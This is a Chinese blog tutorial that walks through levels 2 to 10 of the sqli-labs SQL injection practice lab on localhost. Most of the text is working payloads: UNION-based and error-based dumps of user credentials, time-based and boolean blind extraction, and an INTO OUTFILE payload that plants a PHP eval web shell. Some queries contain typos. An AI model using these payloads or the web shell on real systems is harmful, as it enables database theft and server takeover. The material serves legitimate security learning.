Mysql基础知识以及入门sqlilabs靶场 less1_ProofM的博客-CSDN博客
第一篇对整个流程有较为详细的分析,这里总结一下就开始第二关
首先是确定参数是什么,这里是id
?id=1 and 1=1 -- -//1=2 判断是否是数值型注入。看页面的显示
?id=1' " ) ') ") //这是尝试判断字符型的注入。有具体的回显那就看回显的报错,构造闭合
数值型的整个流程:
/?id=-1 order by 3 -- -判断列数
/?id=-1 union select 1,2,database() -- - 判断数据库名称
/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- - 爆表
/?id=-1 union select 1,2,group_caoncat(column_name) from information_schema.columns where table_name='users' and table_schema='security' -- -爆字段
/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+ 爆值
Less2过关:基于错误的GET单引号字符型注入
讲过不一定需要and 1=1,像这样尝试也一样。
可能是字符型的,加上一个单引号尝试下:报错说明闭合成功了,后面就正常操作操作就行了
Less3:基于错误的GET单引号变形字符型注入
看到了回显是 id=('1' -- -') 我们输入了 1' 那么再加上 ) 闭合
后面的操作就都一样了。
Less4基于错误的GET双引号字符型注入
分析下这个回显,双引号括号
http://127.0.0.1/sqlilabs/Less-4?id=1") -- -
后面自己操作
Less-5双注入GET单引号字符型注入
这里闭合很容易,单引号就行,但是它不回显了,这就是盲注。
方法一:
时间盲注,如果猜测正确,会有你写入的延迟时间。秒为单位
http://127.0.0.1/sqlilabs/Less-5?id=1' and sleep(5) -- -
然后获得其数据库的长度(一个字母一个长度) 根据时间延迟判断
?id=1' and if(length(database())=8,sleep(5),1)--+
得出了八位的长度。那还要猜出来是哪八位:
http://127.0.0.1/sqlilabs/Less-5?id=1' and if(left(database(),1)='s',sleep(5),1)-- -
之后就是增加长度比如说:5 代表五位 继续尝试。直到八位的security
http://127.0.0.1/sqlilabs/Less-5?id=1' and if(left(database(),5)='secur',sleep(5),1)-- -
http://127.0.0.1/sqlilabs/Less-5?id=1' and if(left(database(),8)='security',sleep(5),1)-- -
数据库名字出来后,尝试表名:这里我们没必要挨个尝试,我们知道user是第四个表。直接limit 3,1 代表第四个,然后参数1代表几位。以此增加即可
http://127.0.0.1/sqlilabs/Less-5?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)-- -
猜到users列的payload:
http://127.0.0.1/sqlilabs/Less-5?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)-- -
接着去猜有没有password这个列:我么们仅为学习姿势,直接看看password是第五个,但是使用limit语法,从0开始,就是第四个
上payload:
http://127.0.0.1/sqlilabs/Less-5?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
这种方法查id,username同样。
最后就是猜字段值了。同样的方法,就是不好去猜测,一般是使用ascii码去猜测的。
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
下面贴出基本语法代码:这只是展示语法,代码内数据和本题无关。
通过返回值的提示:闭合点可以确定,
substr(string ,1,3) :取string左边第1位置起,3字长的字符串。
数据库通过判断长度确定:
1' and length(database())=1 -- - 逐次猜测即可
判断字段的名字:只能通过二分法:
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
猜表的数量
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
猜表的长度(这里是第一个表名的长度)
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
猜表名(第一个表)
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
103 是 g 说明第一个表的名字是 g
重复步骤
猜字段数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在
说明是8个字段
猜字段的长度:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
猜数据:
同样的二分法。。
时间盲注:
输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
猜解当前数据库长度:
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
接着采用二分法猜解数据库名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
猜解数据库中的表名:
首先猜解数据库中表的数量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明两个表
猜表名:(9个字符)
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
二分法猜表名即可
猜解表中的字段名
首先是数量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
八个字段:然后是每个字段的字符
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度是7字符
二分法即可猜出各个字段名
方法二:updatexml报错注入
?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) -- - 爆出数据库
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) -- - 爆出表
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- - 爆出users表的字段
?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+ 爆出username字段的值
Less-6 双注入GET双引号字符型注入
类似第五关:主要这是双引号字符
http://127.0.0.1/sqlilabs/Less-6/?id=1"-- -
Less-7 布尔型单引号GET盲注
闭合后提示使用outfile,就是导入文件
outfile这个方法其实在实际注入过程中,要说破坏性确实比较大——实际上对数据的破坏危害性也非常大,如果可以成功,理论上是可以对整台服务器造成危害的;但是这个问题真的非常容易防治,在严格的文件权限管理下,基本上很难成功。
看看自己的配置文件是否为NULL,这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA
、SELECT … INTO OUTFILE
语句和LOAD_FILE()
函数。这些操作需要用户具有FILE权限。 如果这个参数没有设置,这个变量没有效果。
show variables like '%secure_file_priv%';
上面问题的解决办法就是打开配置文件,手动添加一行代码,不需要参数,就可以了。
构造写入文件的代码:
http://127.0.0.1/sqlilabs/Less-7?id=1')) union select 1,2,'<?php @eval($_POST["cmd"])?>' into outfile "E:\\PHPstudy\\WWW\\sqlilabs\\Less-7\\test.php" -- #
写入成功。可以使用蚁剑,菜刀去链接,也可以直接网页访问一下。
方法二:
类似第五关采用盲注的方式。。太麻烦
http://127.0.0.1/sqlilabs/Less-7/?id=1')) and left((select database()),1)='s'--+
方法三:
都用了into file了,再尝试下outfile吧。显示出执行的结果。。
http://127.0.0.1/sqlilabs/Less-7?id=-1')) union select 1,2,database() into outfile "E:\\PHPstudy\\WWW\\sqlilabs\\Less-7\\outfile.txt" -- -
这样结果就写出来了,
http://127.0.0.1/sqlilabs/Less-7?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "E:\\PHPstudy\\WWW\\sqlilabs\\Less-7\\outfile1.txt" -- -
这里需要注意一点,文件名需要更换,不能使用同一个。
Less-8 布尔型单引号GET盲注
还是和第五关一样的
Less-9 基于时间的GET单引号盲注
这关其实是没有会显的,是我自己添加了显示出来导致的,经过分析,无论怎么尝试都是显示You are in,所有用时间盲注测试注入点。。
接下来就按照第五关的盲注测试,但是只能通过延迟时间来判断了。。。
Less-10 基于时间的双引号盲注
http://127.0.0.1/sqlilabs/Less-10?id=1" and sleep(5) --+
后面就是盲注了。。。。。这些盲注操作实在过于缓慢,我们后面会讲sqlmap的使用方法。到时部分场景可以使用sqlmap这个神器,当然并不是所有的注入都无脑使用工具进行。